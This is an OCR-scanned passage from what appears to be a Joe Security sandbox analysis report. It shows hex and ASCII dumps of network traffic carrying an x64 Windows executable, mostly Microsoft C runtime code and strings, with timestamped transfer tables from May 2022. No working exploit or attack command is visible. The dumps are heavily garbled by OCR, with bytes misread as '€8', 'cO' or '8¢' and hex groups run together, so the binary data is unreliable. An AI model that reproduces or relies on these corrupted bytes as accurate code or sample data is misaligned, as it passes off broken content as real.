00 00 81 38 63 73 6d €0 Of 85 d4 00 00 00 48 8b 84 24 80 00 00 00 83 78 18 03 0f 82 c2 00 00 00 48 8b 84 24 80 00 00
00 81 78 20 22 05 93 19 Of 86 ad 00 00 00 48 8b 84 24 80 00 00 00 48 8b 40 30 83 78 08 00 74 1f €8 5 a6 ff ff 48 8b 8c
24 80 00 00 00 48 8b 49 30 48 63 49 08 48 03 c1 48 89 44 24 68 eb 09 48 7 44 24 68 00 00 00 00 48 8b 44 24 68 48 89
44 24 50 48 83 7c 24 50 00 74 61 Of b6 84 24 b8 00 00 00 89 44

Data Ascii: H$XUXH$%=!|H$x tRH$HCI HHD$ HD$ H|$' >H$8csmH$xHS$x "H$H@OxXtHSHIOHCIHHDShHD$ShHDS
hHDS$PH|$Pta$D

Data Raw: 44 24 40 48 8b 44 24 40 8b 00 ff cO 48 8b 4c 24 40 89 01 83 7c 24 20 ff Of 84 75 01 00 00 8b 84 24 98 00 00
00 39 44 24 20 0f 8e 64 01 00 00 83 7c 24 20 ff 7e 13 48 8b 84 24 90 00 00 00 8b 40 04 39 44 24 20 7d 02 eb 05 e8 c2 7f
ff ff €8 bd 96 ff f 48 8b 8¢ 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 8b 04 c8 89 44 24 30 e8 9d 96 ff ff 48 8b
8¢ 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 83 7c c8 04 00 74 3a e8 7d 96 ff ff 48 89 44 24 48 €8 73 96 ff ff 48
8b 8¢ 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 48 63 44 c8 04 48 8b 4c 24 48 48 03 c8 48 8b c1 48 89 44 24
50 eb 09 48 c7 44 24 50 00 00 00 00 48 83 7c 24 50 00 Of 84 a7 00 00 00 44 8b 4c 24 30 4c 8b 84 24 90 00 00 00 48 8b
94 24 88 00 00 00 48 8b 8¢ 24 80 00 00 00 €8 61 eb ff ff

Data Ascii; D$@HD$@HLS@|$ u$9D$ d|$ ~H$@9ID$ JHSHCIHHCLS DSOHSHCIHHCLS |t HDSHSHSHCIHHCLS
HCDHL$HHHHD$PHD$PH|$SPDLSOLSHSHSa

Data Raw: 48 8b 44 24 30 48 8b 8c 24 €8 00 00 00 48 03 c8 48 8b c1 0f b6 00 48 8b 8¢ 24 e0 00 00 00 66 89 01 48 8b 44
2430 48 8b 8c 24 8 00 00 00 48 03 c8 48 8b c1 Of be 00 85 cO 75 1e 48 8b 44 24 30 48 89 44 24 70 48 8d 4c 24 38 e8
bc 07 ff ff 48 8b 44 24 70 e9 7b 03 00 00 48 8b 44 24 30 48 ff cO 48 89 44 24 30 48 8b 84 24 e0 00 00 00 48 83 c0 02 48
89 84 24 e0 00 00 00 e9 72 ff ff ff 48 8b 44 24 30 48 89 44 24 78 48 8d 4c 24 38 e8 78 07 ff ff 48 8b 44 24 78 €9 37 03 00
00 e9 45 02 00 00 48 8d 4c 24 38 e8 9f 07 ff ff 48 8b 00 8b 8¢ 24 f0 00 00 00 89 4c 24 28 48 8b 8c 24 €0 00 00 00 48 89
4c 24 20 41 b9 ff ff ff ff 4c 8b 84 24 €8 00 00 00 ba 09 00 00 00 8b 48 04 ff 15 30 c1 00 00 48 98 48 89 44 24 30 48 83 7c
243000 74 27 48 8b 44 24 30 48 ff c8 48 89 84 24 80

Data Ascii: HD$OH$HHH$fHD$SOH$SHHUHD$SOHDSpHL$8HDSp{HDSOHHDSOHSHHSrHDSOHDSXHL$EBXHDSX7EHLSBHSL
$(H$HLS ALSHOHHD$OH|$0t' HDSOHHS

Data Raw: 34 33 33 37 0d Oa 0d 00 00 00 89 44 24 30 8b 44 24 30 48 83 c4 48 c3 44 89 4c 24 20 4c 89 44 24 18 48 89
54 24 10 89 4c 24 08 48 81 ec 98 00 00 00 48 83 bc 24 a8 00 00 00 00 74 Oa c7 44 24 64 01 00 00 00 eb 08 c7 44 24 64
00 00 00 00 8b 44 24 64 89 44 24 50 83 7c 24 50 00 75 2e 48 8d 05 8b Ob 01 00 48 89 44 24 20 45 33 c9 41 b8 66 00 00
00 48 8d 15 Oe Ob 01 00 b9 02 00 00 00 e8 14 43 ff ff 83 f8 01 75 03 cc 33 c0 83 7c¢ 24 50 00 75 3e e8 80 3a ff ff ¢7 00 16
00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 66 00 00 00 4c 8d 05 d4 0a 01 00 48 8d 15 b5 0a 01 00 48 8d 0Od 2e Ob 01 00
€8 91 4c ff ff b8 16 00 00 00 e9 aa 04 00 00 48 83 bc 24 b0 00 00 00 00 76 Oa c7 44 24 68 01 00 00 00 eb 08 c7 44 24 68
00 00 00 00 8b 44 24 68 89 44 24 54 83 7c 24 54 00 75 2e 48 8d 05

Data Ascii: 4337D$0D$0HHDLS LD$HTSLSHHS$tDSADSADSADSP|$Pu.HHDS EBAFHCUB|$PU>:HD$ AfLHH.LHS$V
D$hD$hDShD$T|$Tu.H

Data Raw: ff 48 89 44 24 40 48 83 7c 24 40 ff 0f 85 95 00 00 00 48 83 bc 24 a8 00 00 00 00 74 7e 48 8b 84 24 a8 00 00
00 c6 00 00 48 83 bc 24 b0 00 00 00 ff 74 68 48 81 bc 24 b0 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 b0 00 00 00 01 76 4f 48
8b 84 24 b0 00 00 00 48 ff c8 48 39 05 44 2f 01 00 73 Oe 48 8b 05 3b 2f 01 00 48 89 44 24 70 eb 10 48 8b 84 24 b0 00 00
00 48 ff c8 48 89 44 24 70 48 8b 84 24 a8 00 00 00 48 ff cO 4c 8b 44 24 70 ba fe 00 00 00 48 8b c8 e8 77 b1 fe ff 8 f2 29
ff ff 8b 00 €9 b0 01 00 00 48 8b 44 24 40 48 ff cO 48 89 44 24 40 48 83 bc 24 a8 00 00 00 00 0Of 84 75 01 00 00 48 8b 84
24 b0 00 00 00 48 39 44 24 40 0f 86 4b 01 00 00 48 83 bc 24 c0 00 00 00 ff Of 84 27 01 00 00 48 8b 84 24 a8 00 00 00 c6
00 00 48 83 bc 24 b0 00 00 00 ff 74 68 48 81 bc 24

Data Ascii: HD$@H|$@ H$t~H$H$thH$tZHSVOHSHHID/SH;/HD$pHSHHDSpHSHLDSpHW)HD$@HHDS@H
SUHSHIDS@KHS'HSHSthHS
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Timestamp transferred Direction
2022-05-23 06:27:16 UTC 98 IN
2022-05-23 06:27:16 UTC 102 IN
2022-05-23 06:27:16 UTC 107 IN
2022-05-23 06:27:16 UTC 107 IN
2022-05-23 06:27:16 UTC 111 IN
2022-05-23 06:27:16 UTC 115 IN
2022-05-23 06:27:16 UTC 119 IN
2022-05-23 06:27:16 UTC 121 IN
2022-05-23 06:27:16 UTC 125 IN
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Data

Data Raw: 48 ff cO 48 89 44 24 38 83 bc 24 a0 00 00 00 00 76 13 48 8b 84 24 b0 00 00 00 48 39 44 24 38 0f 82 66 ff ff ff
48 8b 84 24 b0 00 00 00 48 39 44 24 38 0f 82 b6 00 00 00 33 c0 48 8b 8c 24 a8 00 00 00 66 89 01 48 8b 84 24 b0 00 00
0048 39 44 24 38 73 0d c7 84 24 84 00 00 00 01 00 00 00 eb Ob c7 84 24 84 00 00 00 00 00 00 00 8b 84 24 84 00 00 00
89 44 24 60 83 7c 24 60 00 75 2e 48 8d 05 00 e9 00 00 48 89 44 24 20 45 33 c9 41 b8 8e 00 00 00 48 8d 15 e3 e9 00 00
b9 02 00 00 00 e8 e9 21 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 60 00 75 3b e8 55 19 ff ff ¢7 00 22 00 00 00 48 c7 44 24 20
00 00 00 00 41 b9 8e 00 00 00 4c 8d 05 a9 e9 00 00 48 8d 15 ca ec 00 00 48 8d 0d a3 e8 00 00 e8 66 2b ff ff b8 22 00 00
00 eb 6¢ 33 c0 48 8b 4c 24 30 66 89 01 48 8b 44 24 30 48 83

Data Ascii: HHD$8$vH$HID$8fHSHID$83HSfHSHID$8s$$$D$ |$'u.HHDS$ E3AH!U3|$ u;U"HDS$ ALHHf+"ISHL$OfHD$OH

Data Raw: 40 8b 44 24 50 ff c0 89 44 24 50 eb Oc ff 15 15 7f 00 00 89 44 24 48 eb 05 e9 87 fa ff ff €9 62 07 00 00 8b 84
2490 3d 00 00 c1 f8 05 48 98 48 8d 0d 82 43 01 00 8b 94 24 90 3d 00 00 83 e2 1f 48 63 d2 48 6b d2 58 48 8b 04 c1 Of be
4410 08 25 80 00 00 00 85 cO 0f 84 a8 06 00 00 c7 44 24 48 00 00 00 00 Of be 44 24 44 85 c0 0f 85 e6 01 00 00 48 c7 84
24 a0 14 00 00 00 00 00 00 48 c7 84 24 a8 14 00 00 00 00 00 00 48 8b 84 24 98 3d 00 00 48 89 84 24 a0 14 00 00 48 8b
84 24 98 3d 00 00 48 8b 8¢ 24 a0 14 00 00 48 2b c8 48 8b c1 3b 84 24 a0 3d 00 00 Of 83 96 01 00 00 48 8d 84 24 a0 00
00 00 48 89 84 24 a8 14 00 00 48 8d 84 24 a0 00 00 00 48 8b 8c 24 a8 14 00 00 48 2b c8 48 8b c1 48 3d ff 13 00 00 0f 83
a7 00 00 00 48 8b 84 24 98 3d 00 00 48 8b 8c 24 a0 14 00 00

Data Ascii: @D$PD$PD$Hb$S=HHC$=HcHkXHD%D$HD$DHSHSH$=H$H$=H$H+H;$=H$SH$HSH$SH+HH=H$=H$

Data Raw: 24 74 e9 ed 02 00 00 48 83 bc 24 b8 00 00 00 00 0Of 84 cb 00 00 00 48 83 bc 24 c0 00 00 00 00 76 0d c7 84 24
90 00 00 00 01 00 00 00 eb Ob c7 84 24 90 00 00 00 00 00 00 00 8b 84 24 90 00 00 00 89 44 24 64 83 7c 24 64 00 75 2e
48 8d 05 11 d1 00 00 48 89 44 24 20 45 33 c9 41 b8 5d 00 00 00 48 8d 15 3¢ d1 00 00 b9 02 00 00 00 e8 12 01 ff ff 83 f8
01 7503 cc 33 ¢0 83 7c 24 64 00 75 4f e8 7e 8 fe ff c7 00 22 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 5d 00 00 00 4c
8d 05 02 d1 00 00 48 8d 15 db dO 00 00 48 8d 0d b4 d0 00 00 e8 8f Oa ff ff c7 44 24 78 22 00 00 00 48 8d 4c 24 40 e8 0d
b5 fe ff 8b 44 24 78 e9 25 02 00 00 48 8b 84 24 b8 00 00 00 0Of b6 8¢ 24 c8 00 00 00 88 08 48 83 bc 24 b0 00 00 00 00 74
Oe 48 8b 84 24 b0 00 00 00 c7 00 01 00 00 00 c7 44 24 7c 00

Data Ascii: $tH$H$v$$$D$d|$du.HHD$ E3A]H<u3|$duO~"HD$ A]LHHD$X"HLS@D$x%HSSHStHSD S|

Data Raw: 33 39 37 62 0d Oa b4 fe ff 48 8b 00 48 8d 4c 24 68 48 89 4c 24 38 48 c7 44 24 30 00 00 00 00 8b 8¢ 24 c0 00
00 00 89 4c 24 28 48 8b 8c 24 b8 00 00 00 48 89 4c 24 20 41 b9 01 00 00 00 4c 8d 84 24 c8 00 00 00 33 d2 8b 48 04 ff
15 a8 6d 00 00 89 44 24 6¢ 83 7c 24 6¢ 00 74 Ob 83 7c 24 68 00 Of 84 2a 01 00 00 83 7c 24 6¢ 00 0Of 85 f3 00 00 00 ff 15
09 6d 00 00 83 f8 7a Of 85 e4 00 00 00 48 83 bc 24 b8 00 00 00 00 74 22 48 83 bc 24 c0 00 00 00 00 76 17 4c 8b 84 24
c0 00 00 00 33 d2 48 8b 8c 24 b8 00 00 00 e8 b3 7e fe ff 33 c0 85 c0 74 0d c7 84 24 94 00 00 00 01 00 00 00 eb Ob c7 84
2494 00 00 00 00 00 00 00 8b 84 24 94 00 00 00 89 44 24 70 83 7c 24 70 00 75 2e 48 8d 05 6¢ c0 00 00 48 89 44 24 20
45 33 ¢9 41 b8 7b 00 00 00 48 8d 15 87 cf 00 00 b9 02 00 00 00 e8

Data Ascii: 397bHHL$hHL$8HD$0SL$(HSHLS ALS3HMDSI|$It|$h*|$ImzH$t"HSVL$3HS~3t$$SDSp|$pu.HIHDS E3A{H

Data Raw: 03 00 00 ff ff ff ff 48 8d 4c 24 78 €8 1a a4 fe ff 8b 84 24 84 03 00 00 €9 8e 09 00 00 €9 3a 06 00 00 8b 44 24
50 83 €0 20 85 c0 74 15 48 8b 84 24 18 03 00 00 Of b7 8¢ 24 b0 02 00 00 66 89 08 eb 11 48 8b 84 24 18 03 00 00 8b 8¢
2450 02 00 00 89 08 c7 44 24 6¢ 01 00 00 00 €9 fc 05 00 00 c7 44 24 70 01 00 00 00 Of be 84 24 b8 02 00 00 83 O 20
88 84 24 b8 02 00 00 8b 44 24 50 83 c8 40 89 44 24 50 48 8d 84 24 b0 00 00 00 48 89 44 24 40 c7 84 24 98 00 00 00 00
02 00 00 83 7c 24 74 00 7d Oa c7 44 24 74 06 00 00 00 eb 30 83 7¢ 24 74 00 75 17 Of be 84 24 b8 02 00 00 83 8 67 75 0
ac7 44 24 74 01 00 00 00 eb 12 81 7c 24 74 00 02 00 00 7e 08 ¢7 44 24 74 00 02 00 00 81 7c 24 74 a3 00 00 00 7e 56
80 44 24 74 05 5d 01 00 00 48 98 41 b9 da 06 00 00 4c 8d 05 8b ac 00

Data Ascii: HL$x$:D$P tH$$fHSSDSID$p$ $SD$P@D$PHSHDS@S$|SDSIO|StuSguDSt|$t~DSt|$t~VDSHAL

Data Raw: 48 83 ec 38 48 8b 44 24 40 48 83 c0 11 48 8b 4c 24 48 48 83 c1 11 48 8b d0 e8 e8 fb ff ff 85 cO 74 0a c7 44 24
20 00 00 00 00 eb 08 c7 44 24 20 01 00 00 00 Of b6 44 24 20 48 83 c4 38 c3 cc cc cC cC cC cc cc cc 89 54 24 10 48 89 4c
2408 48 83 ec 28 48 8b 4c 24 30 8 39 01 00 00 8b 44 24 38 83 €0 01 85 c0 74 Oa 48 8b 4c 24 30 e8 44 02 00 00 48 8b
44 24 30 48 83 ¢4 28 c3 cC CcC CC CC CC CC CC cC cC cC 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d
fe b0 00 00 48 89 08 48 8b 44 24 30 48 c7 40 08 00 00 00 00 48 8b 44 24 30 c6 40 10 00 48 8b 44 24 38 48 8b 10 48 8b
4c 24 30 e8 3b 01 00 00 48 8b 44 24 30 48 83 c4 28 c3 cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48
8d 0d ae b0 00 00 48 89 08 48 8b 44 24 30 48 c7 40 08 00 00 00

Data Ascii: HSHD$@HHL$HHHtD$ D$ D$ H8T$HL$SH(HLS09D$8tHLSODHDSOH(HTSHLSH(HDSOHHHDSOH@HD$S0@H
D$8HHL$0;HD$OH(HT$HLSH(HDSOHHHDSOH@

Data Raw: 48 8b 44 24 60 48 89 44 24 40 8b 44 24 74 05 5d 01 00 00 89 84 24 98 00 00 00 eb 08 c7 44 24 74 a3 00 00
00 33 ¢c0 85 cO 74 2a 48 8b 84 24 18 06 00 00 48 83 c0 08 48 89 84 24 18 06 00 00 48 8b 84 24 18 06 00 00 48 8b 40 f8
48 89 84 24 98 05 00 00 eb 28 48 8b 84 24 18 06 00 00 48 83 c0 08 48 89 84 24 18 06 00 00 48 8b 84 24 18 06 00 00 48
83 e8 08 48 89 84 24 98 05 00 00 48 8b 84 24 98 05 00 00 48 89 84 24 58 05 00 00 48 8b 84 24 58 05 00 00 48 8b 00 48
89 84 24 08 05 00 00 48 8d 4c 24 78 e8 b8 82 fe ff 48 89 84 24 a0 05 00 00 Of be 8c 24 b8 04 00 00 89 8c 24 a8 05 00 00
48 63 94 24 98 00 00 00 48 89 94 24 b0 05 00 00 48 8b 0d 6a d8 00 00 ff 15 34 3b 00 00 48 8b 8c 24 a0 05 00 00 48 89
4c¢ 24 30 8b 4c 24 70 89 4c 24 28 8b 4c 24 74 89 4c¢ 24 20 8b 8c 24 a8 05

Data Ascii: HD$ HD$@ D$t]$D$t3t*H$HH$HS$H @ HS(HSHHSHSHHSHSHSXHSXHHSHLSXHS$SHCSHSH|4;HSHLSOLSp
LS(LSLS S

Data Raw: 31 61 64 36 0d Oa 05 00 00 89 84 24 40 05 00 00 83 bc 24 40 05 00 00 00 75 2e 48 8d 05 84 97 00 00 48 89
44 24 20 45 33 c9 41 b8 f5 08 00 00 48 8d 15 1f 86 00 00 b9 02 00 00 00 e8 a5 c6 fe ff 83 8 01 75 03 cc 33 c0 83 bc 24
40 0500 00 00 75 52 e8 Oe be fe ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 f5 08 00 00 4c 8d 05 e2 85 00 00
48 8d 15 4b 99 00 00 48 8d 0d 24 97 00 00 e8 1f dO fe ff c7 84 24 60 05 00 00 ff ff ff ff 48 8d 4c 24 78 e8 9a 7a fe ff 8b 84
24 60 05 00 00 eb 1f 8b 84 24 b0 04 00 00 89 84 24 64 05 00 00 48 8d 4c 24 78 e8 79 7a fe ff 8b 84 24 64 05 00 00 48 8b
8c 24 €8 05 00 00 48 33 cc e8 e2 44 fe ff 48 81 c4 f8 05 00 00 ¢3 66 90 41 dc 01 00 6b dc 01 00 a8 dc 01 00 30 dd 01 00
88 dd 01 00 95 dd 01 00 e0 dd 01 00 8d df 01 00 24 e4

Data Ascii: 1ad6$@$@u.HHD$ E3AHUB$@URHD$ ALHKH$$ HL$xz$ $$dHL$xyz$dHSHIDHFAKOS

Data Raw: 00 00 00 00 €9 38 ff ff ff b9 01 00 00 00 e8 fd 95 fe ff 8b 44 24 20 48 83 c4 38 c3 cc cc cc cc 48 89 4c 24 08 48
83 ec 38 48 83 7c 24 40 00 75 09 33 c9 e8 78 01 00 00 eb 55 48 8b 4c 24 40 e8 5¢c 00 00 00 85 cO 74 07 b8 ff ff ff ff eb 40
48 8b 44 24 40 8b 40 18 25 00 40 00 00 85 c0 74 2d 48 8b 4c 24 40 e8 6 b1 ff ff 8b c8 e8 ff 09 00 00 85 cO 74 Oa c7 44
24 20 ff ff ff ff eb 08 ¢7 44 24 20 00 00 00 00 8b 44 24 20 eb 02 33 c0 48 83 c4 38 c3 cC CC CC CC CC CC CC CC CC CC CC CC
48 89 4c 24 08 48 83 ec 38 ¢7 44 24 20 00 00 00 00 48 8b 44 24 40 48 89 44 24 28 48 8b 44 24 28 8b 40 18 83 e0 03 83
8 02 0f 85 9a 00 00 00 48 8b 44 24 28 8b 40 18 25 08 01 00 00 85 c0 Of 84 85 00 00 00 48 8b 44 24 28 48 8b 4c 24 28 48
8b 49 10 48 8b 00 48 2b c1 89 44 24 24 83 7c 24

Data Ascii: 8D$ H8HL$H8H|$@u3xUHL$@\t@HD$@ @% @t-HL$@tD$ D$ D$ 3H8HL$HBDS HD$S@HD$(HDS(@HDS(@
%HD$(HLS(HIHH+D$$|$
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Timestamp transferred Direction
2022-05-23 06:27:16 UTC 128 IN
2022-05-23 06:27:16 UTC 132 IN
2022-05-23 06:27:16 UTC 136 IN
2022-05-23 06:27:16 UTC 140 IN
2022-05-23 06:27:16 UTC 144 IN
2022-05-23 06:27:16 UTC 147 IN
2022-05-23 06:27:16 UTC 151 IN
2022-05-23 06:27:16 UTC 155 IN
2022-05-23 06:27:16 UTC 159 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 32 30 38 38 0d Oa 00 00 00 00 48 8b 44 24 30 c7 40 18 00 00 00 00 8b 44 24 38 48 83 c4 58 c3 89 4c 24 08
48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 15 e8 58 a3 fe ff ¢7 00 09 00 00 00 b8 ff ff ff ff €9 33 02 00 00 83 7c 24 60 00 7c
16 8b 05 4f dd 00 00 39 44 24 60 73 Oa c7 44 24 3c 01 00 00 00 eb 08 c7 44 24 3c 00 00 00 00 8b 44 24 3c 89 44 24 34
83 7c 24 34 00 75 2e 48 8d 05 ad 82 00 00 48 89 44 24 20 45 33 c9 41 b8 2¢ 00 00 00 48 8d 15 28 82 00 00 b9 02 00 00
00 e8 6e ab fe ff 83 f8 01 75 03 cc 33 c0 83 7c 24 34 00 75 3e e8 da a2 fe ff ¢7 00 09 00 00 00 48 c7 44 24 20 00 00 00
00 41 b9 2c 00 00 00 4c 8d 05 ee 81 00 00 48 8d 15 cf 81 00 00 48 8d 0d 50 82 00 00 e8 eb b4 fe ff b8 ff ff ff ff €9 8¢ 01
0000 8b 44 24 60 c1 f8 05 48 98 48 8d 0d c1 dc 00 00 8b

Data Ascii: 2088HD$0@D$8HXL$HXHcD$ HuX3|$'|O9D$ sD$<D$<D$<D$4|$4u.HHD$ E3A,H(nu3|$4u>HD$ A
,LHHPD$ HH

Data Raw: 73 65 6¢ 66 5f 36 34 5f 61 6d 64 36 34 5¢c 63 72 74 5¢ 73 72 63 5¢ 74 69 64 74 61 62 6¢ 65 2e 63 00 00 43 6¢
69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6¢ 00 00 46 72 65 65 00 00 00 00 00 00 00 00 64
24 02 80 01 00 00 00 5c 24 02 80 01 00 00 00 58 24 02 80 01 00 00 00 50 24 02 80 01 00 00 00 48 24 02 80 01 00 00 00
4572 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6¢ 6¢ 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6¢ 6f
63 6b 20 74 79 70 65 2e Oa 00 00 00 00 00 00 00 49 6e 76 61 6¢ 69 64 20 61 6¢ 6¢C 6f 63 61 74 69 6f 62 20 73 69 7a 65 3
a 202549752062 79 74 65 73 2e 0a 00 00 00 00 25 73 00 00 00 00 00 00 43 6¢ 69 65 6e 74 20 68 6f 6f 6b 20 61 6¢C 6C
6f 63 61 74 69 6f 6e 20 66 61 69 6¢ 75 72 65 2e 0a 00 00 00 00 00

Data Ascii: self_64_amd64\crt\src\tidtable.cClientignoreCRTNormalFreed$\$X$P$H$Error: memory allocation: bad m
emory block type.Invalid allocation size: %lu bytes.%sClient hook allocation failure.

Data Raw: 32 39 64 33 0d 0a 00 64 00 6¢ 00 6¢ 00 00 00 66 3a 5¢ 64 64 5¢ 76 63 74 6f 6f 6¢ 73 5¢ 63 72 74 5f 62 6¢ 64
5¢ 73 65 6¢ 66 5f 36 34 5f 61 6d 64 36 34 5¢ 63 72 74 5¢ 73 72 63 5¢ 69 6f 69 6e 69 74 2e 63 00 00 00 00 73 00 74 00 72
0063 00 70 00 79 00 5f 00 73 00 28 00 2a 00 65 00 6e 00 76 00 2¢ 00 20 00 63 00 63 00 68 00 61 00 72 00 73 00 2c 00
20 00 70 00 29 00 00 00 00 00 00 00 5f 00 73 00 65 00 74 00 65 00 6e 00 76 00 70 00 00 00 00 00 00 00 00 00 66 00 3a
00 5¢ 00 64 00 64 00 5¢c 00 76 00 63 00 74 00 6f 00 6f 00 6¢ 00 73 00 5¢ 00 63 00 72 00 74 00 5f 00 62 00 6¢ 00 64 00 5¢
00 73 00 65 00 6¢ 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5¢ 00 63 00 72 00 74 00 5¢ 00 73 00 7
200 63 00 5¢ 00 73 00 74 00 64 00 65 00 6e 00 76 00 70 00 2e 00

Data Ascii: 29d3dlIf:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.cstrcpy_s(*env, cchars, p)_setenvpf:\dd\vctools\cr
t_bld\self_64_amd64\crt\src\stdenvp.

Data Raw: 69 00 6¢ 00 75 00 72 00 65 00 2c 00 20 00 73 00 65 00 65 00 20 00 74 00 68 00 65 00 20 00 56 00 69 00 73
00 75 00 61 00 6¢ 00 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00
6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 O
077 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 2¢ 00
20 00 32 00 36 00 30 00 2¢ 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d
00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 22 00 29 00 00 00 5f 00 5f 00 63 00 72 00 74 00 4d 00
65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 57

Data Ascii: ilure, see the Visual C++ documentation on asserts.wcscpy_s(szExeName, 260, L"<program name unknow
n>")__crtMessageWindowW

Data Raw: 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5¢c 00 63 00 72 00 74 00 5¢c 00 73 00 72 00 63 00 5¢
0063 00 72 00 74 00 30 00 6d 00 73 00 67 00 2e 00 63 00 00 00 00 00 00 00 52 00 75 00 6e 00 74 00 69 00 6d 00 65 00
20 00 45 00 72 00 72 00 6f 00 72 00 21 00 Oa 00 0a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 3a 00 20 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5¢ 00 64 00 64 00 5¢ 00 76 00 63 00 74 00 6f 00 6f 00 6¢ 00 73 00 5¢ 00 6
300 72 00 74 00 5f 00 62 00 6¢ 00 64 00 5¢ 00 73 00 65 00 6¢ 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00
3400 5¢c 00 63 00 72 00 74 00 5¢c 00 73 00 72 00 63 00 5¢c 00 77 00 69 00 6e 00 73 00 69 00 67 00 2e 00 63 00 00 00 00
00 00 00 00 00 28 00 22 00 49 00 6e 00 76 00 61 00 6¢ 00 69 00 64 00

Data Ascii: _64_amd64\crt\src\crtOmsg.cRuntime Error!Program: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c(“Inva
lid

Data Raw: 35 33 30 66 0d Oa 72 73 74 75 76 77 78 79 7a 5b 5¢ 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
7071727374757677 78 79 7a7h 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96
97 9899 9a 9b 9c 9d 9e 9f a0 al a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd
be bf cO cl c2 c3 ¢4 c5 c6 c7 c8 c9 ca cb cc cd ce cf dO d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 el e2 e3 e4 e5
e6 e7 e8 e9eaeb eced ee ef fO f1 f2 {3 f4 {5 6 {7 {8 f9 fa fb fc fd fe ff 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90
91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 al a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7
b8 b9 ba bb bc bd be bf c0 ¢l c2 ¢3 ¢4 ¢5 ¢6 c7 c8 c9 ca

Data Ascii: 530frstuvwxyz[\]*_“abcdefghijklmnopqrstuvwxyz{[}~

Data Raw: 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5¢ 00 64 00 64 00 5¢ 00 76 00 63 00 74 00 6f 00 6f 00 6¢ 00 73 00 5¢ 00
63 00 72 00 74 00 5f 00 62 00 6¢ 00 64 00 5¢ 00 73 00 65 00 6¢ 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00
34 00 5c 00 63 00 72 00 74 00 5¢ 00 73 00 72 00 63 00 5¢c 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 2e 00 63
00 00 00 00 00 64 00 73 00 74 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 47 65 74 55 73 65 72 4f 62 6a
65 63 74 49 6e 66 6f 72 6d 61 74 69 6f 62 57 00 00 00 00 00 00 00 4d 65 73 73 61 67 65 42 6f 78 57 00 00 00 00 00 77
00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00 00 00 00

Data Ascii: = NULLmemcpy_sf:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.cdst != NULLGetUserObjectinform
ationWMessageBoxWwcscpy_s

Data Raw: 72 00 69 00 70 00 74 00 6f 00 72 00 2e 00 20 00 46 00 69 00 6¢ 00 65 00 20 00 70 00 6f 00 73 00 73 00 69 00
62 00 6¢ 00 79 00 20 00 63 00 6¢ 00 6f 00 73 00 65 00 64 00 20 00 62 00 79 00 20 00 61 00 20 00 64 00 69 00 66 00 66
00 65 00 72 00 65 00 6e 00 74 00 20 00 74 00 68 00 72 00 65 00 61 00 64 00 22 00 2c 00 30 00 29 00 00 00 00 00 00 00
28 00 5f 00 6f 00 73 00 66 00 69 00 6¢ 00 65 00 28 00 66 00 68 00 29 00 20 00 26 00 20 00 46 00 4f 00 50 00 45 00 4e 00
29 00 00 00 00 00 00 00 5f 00 6¢ 00 73 00 65 00 65 00 6b 00 69 00 36 00 34 00 00 00 00 00 00 00 66 00 3a 00 5¢ 00 64
00 64 00 5¢ 00 76 00 63 00 74 00 6f 00 6f 00 6¢ 00 73 00 5¢ 00 63 00 72 00 74 00 5f 00 62 00 6¢ 00 64 00 5¢ 00 73 00 65
